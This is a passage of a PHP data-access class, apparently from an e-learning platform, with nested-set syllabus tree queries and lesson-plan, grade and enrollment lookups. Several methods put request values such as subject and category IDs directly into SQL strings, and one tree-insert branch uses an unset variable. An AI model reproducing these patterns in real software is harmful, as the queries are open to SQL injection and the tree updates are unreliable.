        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID', 'GRADE_NAME'));
        $resultSet = $this->table->selectWith($select);
        foreach ($resultSet as $item) {
            $gradedata[$item->GRADE_ID] = $item->GRADE_NAME;
        }

        return $gradedata;
    }

    /*     * ************** NEW ******************* */

    //insert new category
    function insertNewCategory($postData) {
        $subjectId = $postData['subjectId'];
        $treeposition = $postData['position'];
        $category = $postData['CAT_NAME'];
        $catFlag = $postData['catFlag'];
        if ($treeposition == "begin") {
            $parentCat = $postData['parentCat'] != "" ? $postData['parentCat'] : 0;
            $queryArr = [
                "LOCK TABLE t_b2c_cm_cnf_syllabus WRITE",
                "SET @myLeft := 0",
                "SET @SUBJECT_ID := $subjectId",
                "SELECT @myLeft := LFT FROM t_b2c_cm_cnf_syllabus WHERE CAT_ID = " . $parentCat,
                "UPDATE t_b2c_cm_cnf_syllabus SET RGT = RGT + 2 WHERE RGT > @myLeft AND SUBJECT_ID=@SUBJECT_ID",
                "UPDATE t_b2c_cm_cnf_syllabus SET LFT = LFT + 2 WHERE LFT > @myLeft AND SUBJECT_ID=@SUBJECT_ID",
                "INSERT INTO t_b2c_cm_cnf_syllabus(`CAT_NAME`,`LFT`,`RGT`,`SUBJECT_ID`,`CAT_FLAG`) VALUES(?,@myLeft + 1, @myLeft + 2,@SUBJECT_ID,?)",
                "UNLOCK TABLES"
            ];
        }
        if ($treeposition == "after") {
            $afterWhich = $postData['afterWhich'];
            $queryArr = [
                "LOCK TABLE t_b2c_cm_cnf_syllabus WRITE",
                "SET @SUBJECT_ID := $subjectId",
                "SELECT @myRight := RGT FROM t_b2c_cm_cnf_syllabus WHERE CAT_ID = " . $afterWhich . "",
                "UPDATE t_b2c_cm_cnf_syllabus SET RGT = RGT + 2 WHERE RGT > @myRight AND SUBJECT_ID=@SUBJECT_ID",
                "UPDATE t_b2c_cm_cnf_syllabus SET LFT = LFT + 2 WHERE LFT > @myRight AND SUBJECT_ID=@SUBJECT_ID",
                "UPDATE t_b2c_cm_cnf_syllabus SET LFT = LFT + 2 WHERE LFT > @myLeft AND SUBJECT_ID=@SUBJECT_ID",
                "INSERT INTO t_b2c_cm_cnf_syllabus(`CAT_NAME`,`LFT`,`RGT`,`SUBJECT_ID`,`CAT_FLAG`) VALUES(?,@myRight + 1, @myRight + 2,@SUBJECT_ID,?)",
                "UNLOCK TABLES"
            ];
        }
        for ($i = 0; $i < count($queryArr); $i++) {
            $statement = $this->adapter->createStatement($queryArr[$i]);
            $statement->prepare();
            $resultSet = $statement->execute(array($category, $catFlag));
        }
        $this->adapter->getDriver()->getConnection()->disconnect();

        return $resultSet;
    }

    //get category tree without depth
//    function getCategoryTreeWithOutDepth($subjectId, $catFlag = null) {
//        $topicCond = '';
//        if (!empty($catFlag))
//            $topicCond = ' AND node.CAT_FLAG!="' . $catFlag . '"';
//        $query = "SELECT node.CAT_ID CAT_ID,parent.CAT_ID PID,node.CAT_NAME,node.STATUS_FLAG,(COUNT(parent.CAT_NAME) - 1) AS DEPTH, node.SUBJECT_ID,node.CAT_FLAG
//		FROM t_b2c_cm_cnf_syllabus  AS node,t_b2c_cm_cnf_syllabus AS parent
//		WHERE node.LFT BETWEEN parent.LFT AND parent.RGT
//        AND node.SUBJECT_ID = parent.SUBJECT_ID
//		$topicCond
//		GROUP BY node.CAT_ID
//        HAVING node.SUBJECT_ID=?
//		ORDER BY node.LFT";
//        $statement = $this->adapter->createStatement($query);
//        $statement->prepare();
//        $result = $statement->execute(array($subjectId));
//        return $this->returnPrepareResult($result);
//    }
    //get category tree without depth

    public function getCategoryTreeWithOutDepth($admSubjectId, $catFlag = null) {
        $topicCond = '';
        if (!empty($catFlag))
            $topicCond = ' AND node.CAT_FLAG!="' . $catFlag . '"';
        $query = "SELECT node.CAT_ID CAT_ID,parent.CAT_ID PID,node.CAT_NAME,node.STATUS_FLAG,(COUNT(parent.CAT_NAME) - 1) AS DEPTH, node.SUBJECT_ID,node.CAT_FLAG
		FROM t_b2c_cm_mgr_curriculum_outline  AS node,t_b2c_cm_mgr_curriculum_outline AS parent
		WHERE node.LFT BETWEEN parent.LFT AND parent.RGT
        AND node.SUBJECT_ID = parent.SUBJECT_ID
		$topicCond
		GROUP BY node.CAT_ID
        HAVING node.SUBJECT_ID=?
		ORDER BY node.LFT";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array($admSubjectId));
        return $this->returnPrepareResult($result);
    }

    //get category string
    function getCategoryPathUpward($subjectId, $catId) {
        $query = "SELECT parent.CAT_ID,parent.CAT_NAME
		FROM t_b2c_cm_cnf_syllabus AS node,t_b2c_cm_cnf_syllabus AS parent
		WHERE node.LFT BETWEEN parent.LFT AND parent.RGT
        AND node.CAT_ID=$catId
		AND parent.SUBJECT_ID = $subjectId AND node.SUBJECT_ID = $subjectId
		ORDER BY node.LFT";
        $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
        $retArr = $resultSet->toarray();
        return $retArr;
    }

    //update syllabus
    function updateCategory($postData) {
        $catId = $postData['parentCat'];
        $category = $postData['CAT_NAME'];
        $this->table = $this->initTableObject('t_b2c_cm_cnf_syllabus');
        $updateData['CAT_NAME'] = $category;
        return $this->table->update($updateData, array(
                    'CAT_ID' => $catId
        ));
    }

    //delete entire category/syllabus
    function DeleteEntireTreeByCategoryId($catId) {
        $queryArr = [
            "LOCK TABLE t_b2c_cm_cnf_syllabus WRITE",
            "SELECT @myLeft := LFT, @myRight := RGT, @myWidth := RGT - LFT + 1,@mySubject :=SUBJECT_ID FROM t_b2c_cm_cnf_syllabus WHERE CAT_ID = ?",
            "DELETE FROM t_b2c_cm_cnf_syllabus WHERE LFT BETWEEN @myLeft AND @myRight AND SUBJECT_ID= @mySubject",
            "UPDATE t_b2c_cm_cnf_syllabus SET RGT = RGT - @myWidth WHERE RGT > @myRight AND SUBJECT_ID= @mySubject",
            "UPDATE t_b2c_cm_cnf_syllabus SET LFT = LFT - @myWidth WHERE LFT > @myRight AND SUBJECT_ID= @mySubject",
            "UNLOCK TABLES"
        ];

        for ($i = 0; $i < count($queryArr); $i++) {
            $statement = $this->adapter->createStatement($queryArr[$i]);
            $statement->prepare();
            $resultSet = $statement->execute(array($catId));
        }
        $this->adapter->getDriver()->getConnection()->disconnect();
        return true;
    }

    //delete by category/syllabus ID	
    function DeleteSelectedCategoryOnlyById($catId) {
        $queryArr = [
            "LOCK TABLE t_b2c_cm_cnf_syllabus WRITE",
            "SELECT @myLeft := LFT, @myRight := RGT, @myWidth := RGT - LFT + 1,@mySubject :=SUBJECT_ID FROM t_b2c_cm_cnf_syllabus WHERE CAT_ID= ?",
            "DELETE FROM t_b2c_cm_cnf_syllabus WHERE LFT = @myLeft AND SUBJECT_ID= @mySubject	",
            "UPDATE t_b2c_cm_cnf_syllabus SET RGT = RGT - 1, LFT = LFT - 1 WHERE LFT BETWEEN @myLeft AND @myRight AND SUBJECT_ID= @mySubject",
            "UPDATE t_b2c_cm_cnf_syllabus SET RGT = RGT - 2 WHERE RGT > @myRight AND SUBJECT_ID= @mySubject",
            "UPDATE t_b2c_cm_cnf_syllabus SET LFT = LFT - 2 WHERE LFT > @myRight AND SUBJECT_ID= @mySubject",
            "UNLOCK TABLES"
        ];
        for ($i = 0; $i < count($queryArr); $i++) {
            $statement = $this->adapter->createStatement($queryArr[$i]);
            $statement->prepare();
            $resultSet = $statement->execute(array($catId));
        }
        $this->adapter->getDriver()->getConnection()->disconnect();
        return true;
    }

    //get all child catgs by parent cat ID
    function getAllChildCatByParent($subjectId, $catId) {
        $query = "SELECT node.CAT_ID,node.CAT_NAME,(COUNT(parent.CAT_ID)-(sub_tree.depth+1)) AS DEPTH
		FROM t_b2c_cm_cnf_syllabus AS node,
        t_b2c_cm_cnf_syllabus AS parent,		
        t_b2c_cm_cnf_syllabus AS sub_parent,
        (
            SELECT node.CAT_ID,(COUNT(parent.CAT_ID)-1) AS depth
            FROM t_b2c_cm_cnf_syllabus AS node,
            t_b2c_cm_cnf_syllabus AS parent
            WHERE node.LFT BETWEEN parent.LFT AND parent.RGT
            AND node.CAT_ID=?
			AND parent.SUBJECT_ID=?
            GROUP BY node.CAT_ID
            ORDER BY node.LFT
        )AS sub_tree
		WHERE node.LFT BETWEEN parent.LFT AND parent.RGT
		AND node.LFT BETWEEN sub_parent.LFT AND sub_parent.RGT
		AND sub_parent.CAT_ID=sub_tree.CAT_ID
		
		AND parent.SUBJECT_ID = ? AND sub_parent.SUBJECT_ID = ? and node.SUBJECT_ID = ?
		GROUP BY node.CAT_ID
		HAVING DEPTH=1
		ORDER BY node.LFT";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array($catId, $subjectId, $subjectId, $subjectId, $subjectId));
        return $this->returnPrepareResult($result);
    }

    //get ALL Root level Category
    function getAllRootLevelCategory($subjectId) {
        $query = "SELECT node.CAT_ID,node.CAT_NAME,(COUNT(parent.CAT_NAME)-1) AS DEPTH
		FROM t_b2c_cm_cnf_syllabus AS node,
        t_b2c_cm_cnf_syllabus AS parent
		WHERE node.LFT BETWEEN parent.LFT AND parent.RGT
		AND parent.SUBJECT_ID = ? AND node.SUBJECT_ID = ?
		GROUP BY node.CAT_ID
		HAVING depth=0 
		ORDER BY node.LFT";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array($subjectId, $subjectId));
        return $this->returnPrepareResult($result);
    }

    //get Syllabus name by ID
    function getCategoryNameById($subjectId, $catId) {
        $query = "SELECT CAT_NAME FROM t_b2c_cm_cnf_syllabus AS node
		WHERE node.CAT_ID=$catId AND node.SUBJECT_ID = $subjectId";
        $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
        $retArr = $resultSet->toarray();
        return $retArr[0]['CAT_NAME'];
    }

    //get Syllabus name by ID
    function getAllLessonPlan($classId) {
        $query = "SELECT LESSONPLAN_ID,LP_NAME FROM t_b2c_cm_lessonplan_master 
		WHERE  CLASS_ID=$classId ORDER by LP_POSITION ASC  ";
        $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
        $retArr = $resultSet->toarray();
        return $retArr;
    }

    function getAllLessonPlanBySubjectId($subject_Id) {
        $query = "SELECT LESSONPLAN_ID,LP_NAME FROM t_b2c_cm_lessonplan_master 
		WHERE  SUBJECT_ID=$subject_Id ORDER by LP_POSITION ASC  ";
        $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
        $retArr = $resultSet->toarray();
        return $retArr;
    }

    //get Syllabus name by ID
    function getAllLessonPlanByClassAndSubject($classId, $subject_id) {
        if ($subject_id < 1)
            $subject_id = null;
        $query = "SELECT LESSONPLAN_ID,LP_NAME FROM t_b2c_cm_lessonplan_master 
		WHERE  CLASS_ID=$classId AND SUBJECT_ID  =  $subject_id ORDER by LP_POSITION ASC  ";
        $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
        $retArr = $resultSet->toarray();
        return $retArr;
    }

    //get class details with user enrollment
    function getMemberDetailOfClass($classId) {
        $query = "SELECT a.USER_OID,concat(IFNULL(a.FIRST_NAME,''),' ',IFNULL(a.LAST_NAME,'')) as FULL_NAME,a.PROFILE_PHOTO ,b.USER_ENROLL_ID FROM t_usr_user a
			JOIN t_b2c_usr_enrollment b ON b.USER_OID = a.USER_OID
			WHERE b.CLASS_ID = ?
			AND a.USER_STATUS <> 'T'
		";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array($classId));
        return $this->returnPrepareResult($result);
    }

    function countMemberOfClass($classId) {
        $query = "SELECT COUNT(*) AS TOTAL_MEMBER FROM t_usr_user a
			JOIN t_b2c_usr_enrollment b ON b.USER_OID = a.USER_OID
			WHERE b.CLASS_ID = ?
			AND a.USER_STATUS <> 'T'
		";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array($classId));
        return $this->returnPrepareResult($result);
    }

    //get all child catgs by parent cat ID
    function getAllLessionPlanByClass($lessonplan_id, $userIds) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->where(array('t_b2c_cm_lessonplan_master.CREATED_BY' => $userIds));
        if (empty($lessonplan_id)) {
//          $query="SELECT LESSONPLAN_ID,LP_NAME FROM t_b2c_cm_lessonplan_master WHERE CREATED_BY ? ORDER BY LP_POSITION ASC"; 
//          $statement = $this->adapter->createStatement($query);
//          $statement->prepare();
//          $result = $statement->execute($userIds);  
        } else {

//          $select->where(array('t_b2c_cm_lessonplan_master.LESSONPLAN_ID' => $lessonplan_id));
//          $query="SELECT LESSONPLAN_ID,LP_NAME FROM t_b2c_cm_lessonplan_master WHERE `LESSONPLAN_ID` <> ? ORDER BY LP_POSITION ASC"; 
//          $statement = $this->adapter->createStatement($query);
//          $statement->prepare(); 
//          $result = $statement->execute(array($lessonplan_id));
//          return $this->returnPrepareResult($result);
        }
        $select->order('t_b2c_cm_lessonplan_master.LP_POSITION ASC');
        $resultSet = $this->table->selectWith($select);
        $result = $resultSet->toarray();
        return $result;
    }

    //remove user enrollment
    function removeUserEnrollment($enrId) {
        $this->table = $this->initTableObject('t_b2c_usr_enrollment');
        return $this->table->delete(array('USER_ENROLL_ID' => $enrId));
    }

    //get all lessonplan by grade and org_id
    public function getLessonplanByGradeid($grade_id, $org_id, $user_oid, $subject_id = null) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->columns(array('LESSONPLAN_ID', 'CLASS_ID', 'SUBJECT_ID', 'LP_NAME', 'UNLOCK_ON', 'LP_REQUIREMENT', 'CREATED_ON'));
        $select->join('t_b2c_usr_enrollment', 't_b2c_usr_enrollment.CLASS_ID = t_b2c_cm_lessonplan_master.CLASS_ID', array());
        $select->join('t_b2c_cm_cnf_class', 't_b2c_cm_cnf_class.CLASS_ID = t_b2c_usr_enrollment.CLASS_ID', array());
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_cnf_class.GRADE_ID', array());
        $select->join('t_b2c_cm_cnf_batch', 't_b2c_cm_cnf_batch.BATCH_ID = t_b2c_cm_mgr_grade.BATCH_ID', array());
        $select->where(array('t_b2c_cm_cnf_class.GRADE_ID' => $grade_id));
        $select->where(array('t_b2c_cm_cnf_batch.ORG_ID' => $org_id));
        $select->where(array('t_b2c_usr_enrollment.USER_OID' => $user_oid));
        if (!empty($subject_id)) {
            $select->where(array('t_b2c_cm_lessonplan_master.SUBJECT_ID' => $subject_id));
            $select->order(array('t_b2c_cm_lessonplan_master.LP_POSITION ASC'));
        } else {
            $select->order(array('t_b2c_cm_lessonplan_master.LESSONPLAN_ID ASC'));
        }

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    //get all lessonplan by grade,orgid and available on 
    public function getLessonplanAvailable($params) {
        if (empty($params['START_DATE'])) {
            $params['START_DATE'] = date('Y-m-d');
            $params['END_DATE'] = date('Y-m-d');
        }
        //echo '<pre>'; print_r($params);echo '</pre>'; die('  debug');
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->columns(array('LESSONPLAN_ID', 'LEARNING_OBJECTIVE', 'SUBJECT_ID', 'LP_NAME', 'UNLOCK_ON', 'LP_REQUIREMENT', 'CREATED_ON', 'CREATED_BY', 'LP_POSITION'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_cm_lessonplan_master.SUBJECT_ID', array());
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_ID'));
        $select->join('t_b2c_usr_enrollment', 't_b2c_usr_enrollment.SUBJECT_ID = t_b2c_cm_lessonplan_master.SUBJECT_ID', array());
        $select->where(array('t_b2c_cm_lessonplan_master.SUBJECT_ID' => $params['SUBJECT_ID']));
        $select->where(array('t_b2c_usr_enrollment.USER_OID' => $params['USER_OID']));

        $select->where->nest
                        ->between('t_b2c_cm_lessonplan_master.UNLOCK_ON', $params['START_DATE'], $params['END_DATE'])
                        ->or
                        ->equalTo('t_b2c_cm_lessonplan_master.UNLOCK_ON', '1970-01-01')
                        ->or
                        ->equalTo('t_b2c_cm_lessonplan_master.UNLOCK_ON', '')
                        ->or
                        ->isNull('t_b2c_cm_lessonplan_master.UNLOCK_ON')
                ->unnest;



        if (!empty($params['SUBJECT_ID'])) {
            $select->where(array('t_b2c_cm_lessonplan_master.SUBJECT_ID' => $params['SUBJECT_ID']));
            $select->order(array('t_b2c_cm_lessonplan_master.LP_POSITION ASC'));
        } else {
            $select->order(array('t_b2c_cm_lessonplan_master.LESSONPLAN_ID ASC'));
        }

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    public function getLessonplanAvailableForB2c($params) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        // $select->join('t_b2c_cm_cnf_content', 't_b2c_cm_cnf_content.LESSONPLAN_ID = t_b2c_cm_lessonplan_master.LESSONPLAN_ID', array());
        $select->where(array('t_b2c_cm_lessonplan_master.SUBJECT_ID' => $params['SUBJECT_ID']));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    public function getLessonplanBySubjectId($subject_id) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->columns(array('LESSONPLAN_ID', 'LP_NAME'));
        $select->where(array('SUBJECT_ID' => $subject_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    public function getAllGradefromAdmByOrgId($org_id) {

        $this->table = $this->initTableObject('t_b2c_adm_cnf_pushcourse');
        $select = $this->table->getSql()->select();
        $select->columns(array('ADMCOURSE_ID', 'CREATED_ON'));
        $select->join('t_b2c_adm_cnf_course', 't_b2c_adm_cnf_course.ADMCOURSE_ID = t_b2c_adm_cnf_pushcourse.ADMCOURSE_ID', array('COURSE_NAME', 'COUNTRY_ID', 'COURSE_CODE', 'COURSE_DESC'));
        $select->where(array('t_b2c_adm_cnf_pushcourse.ORG_ID' => $org_id));
        $currentData = date("Y-m-d");
        //$select->where->greaterThanOrEqualTo("ALLOWED_TILL", $currentData);
        //$select->where(array('t_b2c_adm_cnf_pushcourse.ALLOWED_TILL'=>$org_id));		
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    /**
     * @desc used of this function for get title by content type id
     */
    public function getClassDataByContentId($contId) {
        $table = $this->initTableObject('t_b2c_cm_cnf_liveclass');
        $select = $table->getSql()->select();
        $select->where(['CONT_ID' => $contId]);
        $res = $table->selectWith($select)->current();
        return $res;
    }

    //Get All Presenter (UT_ID=2, TRAINER)
    public function getAllPresenter($org_id) {
        $this->tableGateway = $this->initTableObject('t_usr_user');
        $select = $this->tableGateway->getSql()->select();
        $select->columns(array('USER_OID', 'EMAIL_ID'));
        $select->where(array('UT_ID' => 2, 'USER_STATUS' => 'A'));
        $select->where(array('ORG_ID IS NULL'));
        $select->where->notEqualTo('WIZIQ_USER_ID', '');
        $resultSet = $this->tableGateway->selectWith($select);
        $res = $resultSet->toarray();
        return $res;
    }

    //Get Content detail By CONT_ID
    public function getContentDetailById($id) {
        $this->tableGateway = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->tableGateway->getSql()->select();
        $select->where(array('CONT_ID' => $id));
        $resultSet = $this->tableGateway->selectWith($select);
        $res = $resultSet->current();
        if (!$res) {
            $res = array();
        }
        return $res;
    }

    //Get Content detail By CONT_ID
    public function getContentFullDetailById($id) {
        $this->tableGateway = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->tableGateway->getSql()->select();
        $select->join('t_b2c_cm_cont_cat', 't_b2c_cm_cont_cat.CONT_ID = t_b2c_cm_cnf_content.CONT_ID', array());
        $select->join('t_cm_cnf_conttype', 't_cm_cnf_conttype.CONTTYPE_ID = t_b2c_cm_cnf_content.CONTTYPE_ID', array('CONT_TYPE'));
        $select->join('t_b2c_cm_mgr_curriculum_outline', 't_b2c_cm_mgr_curriculum_outline.CAT_ID = t_b2c_cm_cont_cat.CAT_ID', array());
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_cm_mgr_curriculum_outline.SUBJECT_ID', array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_ID', 'GRADE_NAME'));
        $select->join('t_b2c_cm_cnf_standard', 't_b2c_cm_cnf_standard.STANDARD_ID = t_b2c_cm_mgr_grade.STANDARD_ID', array('STANDARD_ID', 'STANDARD_NAME'));
        $select->join('t_adm_cnf_country', 't_b2c_cm_cnf_standard.COUNTRY_ID = t_adm_cnf_country.COUNTRY_ID', array('COUNTRY_ID', 'SHORT_NAME', 'LONG_NAME', 'AR_NAME'));
        $select->where(array('t_b2c_cm_cnf_content.CONT_ID' => $id));
        $select->order('t_b2c_cm_cont_cat.CONTCAT_ID DESC');
        $resultSet = $this->tableGateway->selectWith($select);

        $res = $resultSet->current();
        if (!$res) {
            $res = array();
        }
        return $res;
    }

    function getSectionIdByContentId($content_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->columns(array('SECTION_ID'));
        $select->where(array('CONT_ID' => $content_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['SECTION_ID'])) {
            return $data[0]['SECTION_ID'];
        }
        return 0;
    }

    function getCourseDetailByContentId($content_id) {
        $sectionId = $this->getSectionIdByContentId($content_id);

        $this->table = $this->initTableObject('t_b2c_cm_section');
        $select = $this->table->getSql()->select();
        $select->columns(array('COURSE_ID'));
        $select->where(array('SECTION_ID' => $sectionId));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['COURSE_ID'])) {
            return $data[0]['COURSE_ID'];
        }
        return 0;
    }

    public function getAllImportedGradeList($org_id) {

        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID', 'GRADE_NAME', 'ADM_REF_ID'));

        $select->where(array('ORG_ID' => $org_id));
        $select->where->isNotNull('ADM_REF_ID');
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();

        return $data;
    }

    public function getCcoRefIdBySubjectId($subject_id) {

        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('ADM_REF_ID'));

        $select->where(array('SUBJECT_ID' => $subject_id));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();

        if (!empty($data[0]['ADM_REF_ID'])) {
            return $data[0]['ADM_REF_ID'];
        }

        return false;
    }

    public function getSubIdByCcoRefId($cco_id, $org_id) {

        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_ID'));

        $select->where(array('t_b2c_cm_mgr_subject.ADM_REF_ID' => $cco_id));
        $select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $org_id));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();

        if (!empty($data[0]['SUBJECT_ID'])) {
            return $data[0]['SUBJECT_ID'];
        }

        return false;
    }

    public function getCatIdByCcoRefId($cco_id, $org_id) {



        $this->table = $this->initTableObject('t_b2c_cm_mgr_curriculum_outline');
        $select = $this->table->getSql()->select();
        $select->columns(array('CAT_ID'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_cm_mgr_curriculum_outline.SUBJECT_ID', array('SUBJECT_ID'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_ID'));

        $select->where(array('t_b2c_cm_mgr_curriculum_outline.CCO_REF_ID' => $cco_id));
        $select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $org_id));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();

        if (!empty($data[0]['CAT_ID'])) {
            return $data[0]['CAT_ID'];
        }

        return false;
    }

    public function getLoIdByCcoRefId($stlo_id, $topic_id) {

        $this->table = $this->initTableObject('t_b2c_cm_cnf_lo');
        $select = $this->table->getSql()->select();
        $select->columns(array('LO_ID'));

        $select->where(array('TOPIC_ID' => $topic_id));
        $select->where(array('CCO_REF_ID' => $stlo_id));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();

        if (!empty($data[0]['LO_ID'])) {
            return $data[0]['LO_ID'];
        }

        return false;
    }

    public function getGradeIds($org_id) {

        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID'));

        $select->where(array('ORG_ID' => $org_id));
        $select->where->isNotNull('ADM_REF_ID');
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $arr = array();
        foreach ($data as $grd) {
            $arr[] = $grd["GRADE_ID"];
        }
        return $arr;
    }

    function getFirstContentImage($cont_id) {

        $this->table = $this->initTableObject('t_b2c_cm_cnf_content_image');
        $select = $this->table->getSql()->select();
        $select->columns(array('IMG_BACKING_FILE'));
        $select->where(array('CONT_ID' => $cont_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['IMG_BACKING_FILE'])) {
            return $data[0]['IMG_BACKING_FILE'];
        }
        return false;
    }

    public function getAllImportedSubjects($org_id, $subject_id = null) {

        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->where(array('SUBJECT_ID' => $subject_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $arr = array();
        foreach ($data as $sub) {
            $arr[] = $sub["ADM_REF_ID"];
        }
        return $arr;
    }

    /* public function getAllImportedSubjects($org_id,$subject_id=null) {

      $grades = $this->getGradeIds($org_id);

      if (!count($grades)) {
      return array();
      }


      $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
      $select = $this->table->getSql()->select();
      $select->columns(array('CCO_REF_ID'));
      $select->where(array('SUBJECT_ID' => $subject_id));
      // $select->where(array('GRADE_ID' => $grades));
      $select->where->isNotNull('CCO_REF_ID');
      $resultSet = $this->table->selectWith($select);
      $data = $resultSet->toarray();

      $arr = array();
      foreach ($data as $sub) {
      $arr[] = $sub["CCO_REF_ID"];
      }
      return $arr;
      } */

    public function getGradeOrder($org_id) {

        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID'));
        $select->where(array('ORG_ID' => $org_id));
        $resultSet = $this->table->selectWith($select);
        return ($resultSet->count() + 1);
    }

    function savePullGrade($data) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $this->table->insert($data);
        return $this->table->lastInsertValue;
    }

    //check if subject already imported in Db
    function checkSubjectInDb($data) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID'));
        $select->where(array('GRADE_ID' => $data['GRADE_ID']));
        // $select->where(array('CCO_REF_ID' => $data['CCO_REF_ID']));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['SUBJECT_ID'])) {
            return $data[0]['SUBJECT_ID'];
        }
        return false;
    }

    //check if topic already imported in Db
    function checkTopicInDb($data) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_curriculum_outline');
        $select = $this->table->getSql()->select();
        $select->columns(array('CAT_ID'));
        $select->where(array('SUBJECT_ID' => $data['SUBJECT_ID']));
        $select->where(array('ADM_REF_ID' => $data['ADM_REF_ID']));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['CAT_ID'])) {
            return $data[0]['CAT_ID'];
        }
        return false;
    }

    //check if LO already imported in Db
    function checkLoInDb($data) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_lo');
        $select = $this->table->getSql()->select();
        $select->columns(array('LO_ID'));
        $select->where(array('TOPIC_ID' => $data['TOPIC_ID']));
        $select->where(array('ADM_REF_ID' => $data['CCO_REF_ID']));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['LO_ID'])) {
            return $data[0]['LO_ID'];
        }
        return false;
    }

    function getPullSubjectId($data) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID'));
        $select->where(array('GRADE_ID' => $data['GRADE_ID']));
        //$select->where(array('CCO_REF_ID' => $data['CCO_REF_ID']));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['SUBJECT_ID'])) {
            return $data[0]['SUBJECT_ID'];
        }


        return false;
    }

    function getPullGradeIdCcoRefId($arr) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID'));
